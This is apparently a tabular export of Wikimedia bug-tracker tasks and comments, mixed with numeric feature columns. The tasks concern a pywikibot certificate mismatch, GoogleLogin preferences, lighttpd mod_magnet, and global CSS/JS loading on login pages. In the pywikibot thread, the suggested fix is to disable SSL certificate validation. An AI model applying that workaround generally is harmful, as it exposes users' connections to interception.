**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=65189
https://github.com/jcgregorio/httplib2/issues/243",Needs Triage,90.0,1406621640,1410951268.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-okdjn52gy6qu7uof77rr,task_description,resolved,True,c3,1,False,False,True,-49,True,0.0,0.0,0.0,0.0,0.25,2.0,0.75,0.25,0.0,0.0,0.75,7.75,0.0,0.0,0.0,1.0,0.5,1.75,3.5,0.0,0.5,0.25,0.0,0.0,0.5,0.0,0.0,0.0,0.25,0.0,0.25,3.25,0.25,1.25,0.5,0.0,0.25,0.0,0.25,0.25,0.0,0.0,0.0,1.25,0.0,0.0,0.5,0.25,0.0,14.75,0.0,0.25,0.0,0.25,0.0,0.25,0.0,0.0,0.25,0.0,0.0,0.25,0.0,0.0,0.25,0.25,0.0,2.75,0.75,6.75,0.75,0.75,3.5,0.0,0.0,0.0,0.0,1.25,0.0,1.25,0.0,2.25,3.5,4.75,0.0,8.75,0.0,2.25,0.5,0.5,0.75,0.0,0.5,0.0,0.25,1.75,3.5536757546251216,0.5453992210321325,"**Author:** CODE

**Description:**
Running a simple pywikibot script gives error that my server has an invalid certificate, then it retries, and seems to ignore that issue and succeeds.

In the error, it reports the certificate for a different domain that my server also hosts, probably because either 1. it is the domain used for reverse dns, or 2. it is the domain which my server redirects to for urls containing the ip address.

Pywikibot should get the certificate for the domain I configured it to use. Here is the error output.

ERROR: Traceback (most recent call last):
  File ""/root/opt/pywikibot/pywikibot/data/api.py"", line 298, in submit
    body=paramstring)
  File ""/root/opt/pywikibot/pywikibot/comms/http.py"", line 174, in request
    raise request.data
CertificateHostnameMismatch: Server presented certificate that does not match host ofswiki.org: {'notAfter': 'May 23 20:21:24 2015 GMT', 'subjectAltName': (('DNS', 'www.iankelling.org'), ('DNS', 'iankelling.org')), 'subject': ((('description', u'0NEmhfbNSxh2R2RF'),), (('countryName', u'US'),), (('commonName', u'www.iankelling.org'),), (('emailAddress', u'REDACTED-AT-iankelling.org'),))}

--------------------------
**Version**: core-(2.0)
**Severity**: normal
**See Also**:
URL
URL"
313076,pywikibot uses incorrect domain for https certificate,"Ian, you may now add 'def ignore_certificate_error: return True' to your family file to tell httplib2 to not verify the ssl certificate for that family.  Please re-open if it doesnt work, but also drop in a note if httplib2 has fixed the problem on their side.",,,1410951268,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-okdjn52gy6qu7uof77rr,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,7.0,16.0,2.0,0.0,4.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.7719298245614037,0.8421052631578947,"Ian, you may now add 'def ignore_certificate_error: return True' to your family file to tell httplib2 to not verify the ssl certificate for that family.  Please re-open if it doesnt work, but also drop in a note if httplib2 has fixed the problem on their side."
313075,pywikibot uses incorrect domain for https certificate,"Change 160189 merged by jenkins-bot:
Add ability to ignore SSL certificate errors

https://gerrit.wikimedia.org/r/160189",,,1410648897,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-okdjn52gy6qu7uof77rr,task_subcomment,,True,c3,1,False,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.611111111111111,1.0,"Change 160189 merged by jenkins-bot:
Add ability to ignore SSL certificate errors

GERRIT_URL"
313073,pywikibot uses incorrect domain for https certificate,"Change 160189 had a related patch set uploaded by John Vandenberg:
Add ability to ignore SSL certificate errors

https://gerrit.wikimedia.org/r/160189",,,1410582436,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-okdjn52gy6qu7uof77rr,task_subcomment,,True,c3,1,False,,,-42,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.863636363636363,1.0,"Change 160189 had a related patch set uploaded by John Vandenberg:
Add ability to ignore SSL certificate errors

GERRIT_URL"
313070,pywikibot uses incorrect domain for https certificate,"**ian** wrote:

Thank you John. I will investigate and report it upstream to httplib2 and add the bug url to the related URLs.",,,1410250014,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-okdjn52gy6qu7uof77rr,task_subcomment,,True,c3,1,False,,,-43,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,13.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,6.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3870967741935485,0.7741935483870968,"**ian** wrote:

Thank you John. I will investigate and report it upstream to httplib2 and add the bug url to the related URLs."
313068,pywikibot uses incorrect domain for https certificate,"I can reproduce this with a custom family file I created for ofswiki (thank you for reporting which wiki this occurred on)


The core problem is that httplib2<https://github.com/jcgregorio/httplib2> complains about this.

$ python
>>> import httplib2
>>> httplib2.__version__
'0.9'
>>> httplib2.Http().request('https://ofswiki.org/')
Traceback (most recent call last):
  File ""<console>"", line 1, in <module>
  File "".../httplib2/__init__.py"", line 1593, in request
    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
  File "".../httplib2/__init__.py"", line 1335, in _request
    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
  File "".../httplib2/__init__.py"", line 1257, in _conn_request
    conn.connect()
  File "".../httplib2/__init__.py"", line 1032, in connect
    'host %s: %s' % (hostname, cert), hostname, cert)
CertificateHostnameMismatch: Server presented certificate that does not match host ofswiki.org: {'notAfter': 'May 23 20:21:24 2015 GMT', 'subjectAltName': (('DNS', 'www.iankelling.org'), ('DNS', 'iankelling.org')), 'subject': ((('description', u'0NEmhfbNSxh2R2RF'),), (('countryName', u'US'),), (('commonName', u'www.iankelling.org'),), (('emailAddress', u'REDACTED-AT-iankelling.org'),))}


compare that with httplib2.Http().request('https://en.wikipedia.org/')

And this works like a charm:

>>> httplib2.Http(disable_ssl_certificate_validation=True).request('https://ofswiki.org/')

The fact that it only checks the SSL certificate once is reported here:

https://github.com/jcgregorio/httplib2/issues/243

I cant quickly see an issue related to the certificate problem you are experiencing.
https://github.com/jcgregorio/httplib2/issues
If you can find it, or create a new issue, add it to our related URLs.",,,1410248253,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-okdjn52gy6qu7uof77rr,task_subcomment,,True,c3,1,True,,,-43,True,0.0,0.0,0.0,0.25,0.25,2.25,0.25,0.0,0.0,0.25,1.25,8.0,0.0,0.25,0.0,1.0,0.25,1.75,4.75,0.0,0.0,0.0,0.0,0.0,0.75,0.0,0.0,0.0,0.75,0.0,0.0,2.5,0.75,0.75,1.0,0.75,0.0,0.0,0.75,0.5,0.0,0.0,0.25,0.75,0.0,0.0,0.25,0.25,0.0,15.0,0.75,0.75,0.0,0.25,0.0,0.25,0.0,0.0,0.25,0.0,0.0,0.5,0.0,0.5,0.0,0.25,0.25,2.25,0.75,7.5,0.75,0.5,4.0,0.0,0.0,0.0,0.0,1.75,0.0,2.5,0.0,2.75,4.75,6.5,0.0,10.5,0.0,2.75,0.5,0.5,1.0,0.0,0.5,0.0,0.75,1.5,3.685483870967742,0.5377512856474989,"I can reproduce this with a custom family file I created for ofswiki (thank you for reporting which wiki this occurred on)


The core problem is that httplib2<URL complains about this.

$ python
QUOTE
QUOTE
'0.9'
QUOTE
Traceback (most recent call last):
  File ""<console>"", line 1, in <module>
  File "".../httplib2/__init__.py"", line 1593, in request
    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
  File "".../httplib2/__init__.py"", line 1335, in _request
    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
  File "".../httplib2/__init__.py"", line 1257, in _conn_request
    conn.connect()
  File "".../httplib2/__init__.py"", line 1032, in connect
    'host %s: %s' % (hostname, cert), hostname, cert)
CertificateHostnameMismatch: Server presented certificate that does not match host ofswiki.org: {'notAfter': 'May 23 20:21:24 2015 GMT', 'subjectAltName': (('DNS', 'www.iankelling.org'), ('DNS', 'iankelling.org')), 'subject': ((('description', u'0NEmhfbNSxh2R2RF'),), (('countryName', u'US'),), (('commonName', u'www.iankelling.org'),), (('emailAddress', u'REDACTED-AT-iankelling.org'),))}


compare that with httplib2.Http().request('URL

And this works like a charm:

QUOTE

The fact that it only checks the SSL certificate once is reported here:

URL

I cant quickly see an issue related to the certificate problem you are experiencing.
URL
If you can find it, or create a new issue, add it to our related URLs."
70727,Move GoogleLogin Info page from Special:GoogleLogin to Special:Preferences,"The GoogleID connected with the user is a setting, so maybe move it to preferences.

--------------------------
**Version**: master
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=68726",Needs Triage,90.0,1406548200,1407709383.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-tgcuv63wiphesksptieg,task_description,resolved,True,c3,1,True,False,True,-49,True,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,16.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.511111111111111,0.6444444444444445,"The GoogleID connected with the user is a setting, so maybe move it to preferences.

--------------------------
**Version**: master
**Severity**: enhancement
**See Also**:
URL"
309537,Move GoogleLogin Info page from Special:GoogleLogin to Special:Preferences,"Change 152988 merged by jenkins-bot:
Add info about GoogleLogin to Special:Preferences

https://gerrit.wikimedia.org/r/152988",,,1407708662,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgcuv63wiphesksptieg,task_subcomment,,True,c3,1,False,,,-47,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,16.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.684210526315789,0.9473684210526315,"Change 152988 merged by jenkins-bot:
Add info about GoogleLogin to Special:Preferences

GERRIT_URL"
309533,Move GoogleLogin Info page from Special:GoogleLogin to Special:Preferences,"Change 152988 had a related patch set uploaded by Florianschmidtwelzow:
Add info about GoogleLogin to Special:Preferences

https://gerrit.wikimedia.org/r/152988",,,1407534049,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgcuv63wiphesksptieg,task_subcomment,,True,c3,1,False,,,-47,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,32.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.409090909090909,0.9545454545454546,"Change 152988 had a related patch set uploaded by Florianschmidtwelzow:
Add info about GoogleLogin to Special:Preferences

GERRIT_URL"
70614,Install lighttpd binary mod_magnet.so,"**Author:** `metatron`

**Description:**
Current Lighttpd seems to be compiled with lua-support option ( --with-lua), but mod_magnet.so is missing.

Pls install/add mod_magnet.so

Refs:
http://redmine.lighttpd.net/projects/lighttpd/wiki/Docs_ModMagnet

(plugin.c.169) dlopen() failed for: /usr/lib/lighttpd/mod_magnet.so /usr/lib/lighttpd/mod_magnet.so: cannot open shared object file: No such file or directory 

@tools-webgrid-04:~$ lighttpd -V
lighttpd/1.4.28 (ssl) - a light and fast webserver
Build-Date: Dec 20 2011 14:36:55

Event Handlers:

        + select (generic)
        + poll (Unix)
        - rt-signals (Linux 2.4+)
        + epoll (Linux 2.6)
        - /dev/poll (Solaris)
        - kqueue (FreeBSD)
        - libev (generic)

Network handler:

        + sendfile

Features:

        + IPv6 support
        + zlib support
        + bzip2 support
        + crypt support
        + SSL Support
        + PCRE support
        + mySQL support
        + LDAP support
        + memcached support
        + FAM support
        + LUA support
        + xml support
        + SQLite support
        + GDBM support

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1406382360,1406804894.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-3essaaxdpxalfpsfklqp,task_description,resolved,True,c3,1,False,False,True,-49,True,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,4.333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,16.333333333333332,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,12.0,0.0,8.0,0.6666666666666666,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,2.6666666666666665,0.0,0.0,1.3333333333333333,11.666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,4.2073170731707314,0.516260162601626,"**Author:** CODE

**Description:**
Current Lighttpd seems to be compiled with lua-support option ( --with-lua), but mod_magnet.so is missing.

Pls install/add mod_magnet.so

Refs:
URL

(plugin.c.169) dlopen() failed for: /usr/lib/lighttpd/mod_magnet.so /usr/lib/lighttpd/mod_magnet.so: cannot open shared object file: No such file or directory 
SCREEN_NAME-webgrid-04:~$ lighttpd -V
lighttpd/1.4.28 (ssl) - a light and fast webserver
Build-Date: Dec 20 2011 14:36:55

Event Handlers:

        + select (generic)
        + poll (Unix)
        - rt-signals (Linux 2.4+)
        + epoll (Linux 2.6)
        - /dev/poll (Solaris)
        - kqueue (FreeBSD)
        - libev (generic)

Network handler:

        + sendfile

Features:

        + IPv6 support
        + zlib support
        + bzip2 support
        + crypt support
        + SSL Support
        + PCRE support
        + mySQL support
        + LDAP support
        + memcached support
        + FAM support
        + LUA support
        + xml support
        + SQLite support
        + GDBM support

--------------------------
**Version**: unspecified
**Severity**: normal"
316768,Install lighttpd binary mod_magnet.so,"Change 150712 merged by coren:
webnode.pp: Install LUA support for lighttpd (lighttpd-mod-magnet)

https://gerrit.wikimedia.org/r/150712",,,1406765751,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3essaaxdpxalfpsfklqp,task_subcomment,,True,c3,1,False,,,-48,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.304347826086956,0.8695652173913043,"Change 150712 merged by coren:
webnode.pp: Install LUA support for lighttpd (lighttpd-mod-magnet)

GERRIT_URL"
316762,Install lighttpd binary mod_magnet.so,"Change 150712 had a related patch set uploaded by Hedonil:
wenode.pp: Install LUA support for lighttpd (lighttpd-mod-magnet)

https://gerrit.wikimedia.org/r/150712",,,1406758183,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3essaaxdpxalfpsfklqp,task_subcomment,,True,c3,1,False,,,-49,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.321428571428571,0.8928571428571429,"Change 150712 had a related patch set uploaded by Hedonil:
wenode.pp: Install LUA support for lighttpd (lighttpd-mod-magnet)

GERRIT_URL"
316755,Install lighttpd binary mod_magnet.so,"**metatron** wrote:

There's even a package for this

http://packages.ubuntu.com/precise/lighttpd-mod-magnet",,,1406383477,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-3essaaxdpxalfpsfklqp,task_subcomment,,True,c3,1,False,,,-49,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.7647058823529411,"**metatron** wrote:

There's even a package for this

URL"
70521,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],"My global JS is being loaded at
http://meta.wikimedia.beta.wmflabs.org/wiki/Special:Preferences
http://meta.wikimedia.beta.wmflabs.org/wiki/Special:UserLogin
http://deployment.wikimedia.beta.wmflabs.org/w/index.php?title=Special:Preferences
http://deployment.wikimedia.beta.wmflabs.org/w/index.php?title=Special:UserLogin

This does not happens with common.(js|css) and skin specific (js|css).

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
* {T24929}
* {T50931}
* {T73007}",Needs Triage,90.0,1406226360,1412212179.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-xmkotizdsy6vs2rpqiep,task_description,resolved,True,c3,1,False,False,True,-49,True,0.0,0.0,0.0,3.0,1.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,20.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,10.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0704225352112675,0.5211267605633803,"My global JS is being loaded at
URL
URL
URL
URL

This does not happens with common.(js|css) and skin specific (js|css).

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
* {T24929}
* {T50931}
* {T73007}"
312401,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],This is fixed with the patch applied in bug 70672.,,,1411752131,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,True,,,-40,True,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.727272727272727,1.0,This is fixed with the patch applied in bug 70672.
312393,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],"(In reply to Kunal Mehta (Legoktm) from comment #10)
> Okay, I can confirm my global CSS is being loaded, but not JS.
> Investigating...

See bug 70672.",,,1410375013,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,True,,,-43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,9.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0434782608695654,0.8260869565217391,"(In reply to Kunal Mehta (Legoktm) from comment #10)
QUOTE
QUOTE

See bug 70672."
312387,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],"Okay, I can confirm my global CSS is being loaded, but not JS. Investigating...",,,1410372865,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,True,,,-43,True,0.0,0.0,0.0,11.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,28.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.6666666666666665,0.9444444444444444,"Okay, I can confirm my global CSS is being loaded, but not JS. Investigating..."
312381,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],"I can't reproduce right now, but moving to the security component just in case.",,,1410372636,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,True,,,-43,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,24.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.8823529411764706,1.0,"I can't reproduce right now, but moving to the security component just in case."
312377,Global CSS and JS should not be loaded on [[Special:Preferences]] and [[Special:UserLogin]],"On
https://meta.wikimedia.org/wiki/Special:Preferences#mw-prefsection-rendering
I get this in the console (on Firefox):
> mw.loader.getState('ext.globalCssJs.user') === ""registered""
> true
and
https://bits.wikimedia.org/meta.wikimedia.org/load.php?debug=false&lang=pt&modules=ext.globalCssJs.user&only=styles&skin=vector&user=Helder.wiki&version=20140826T153947Z&*
is still loaded.",,,1410372607,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-xmkotizdsy6vs2rpqiep,task_subcomment,,True,c3,1,False,,,-43,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,26.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.740740740740741,0.7037037037037037,"On
URL
I get this in the console (on Firefox):
QUOTE
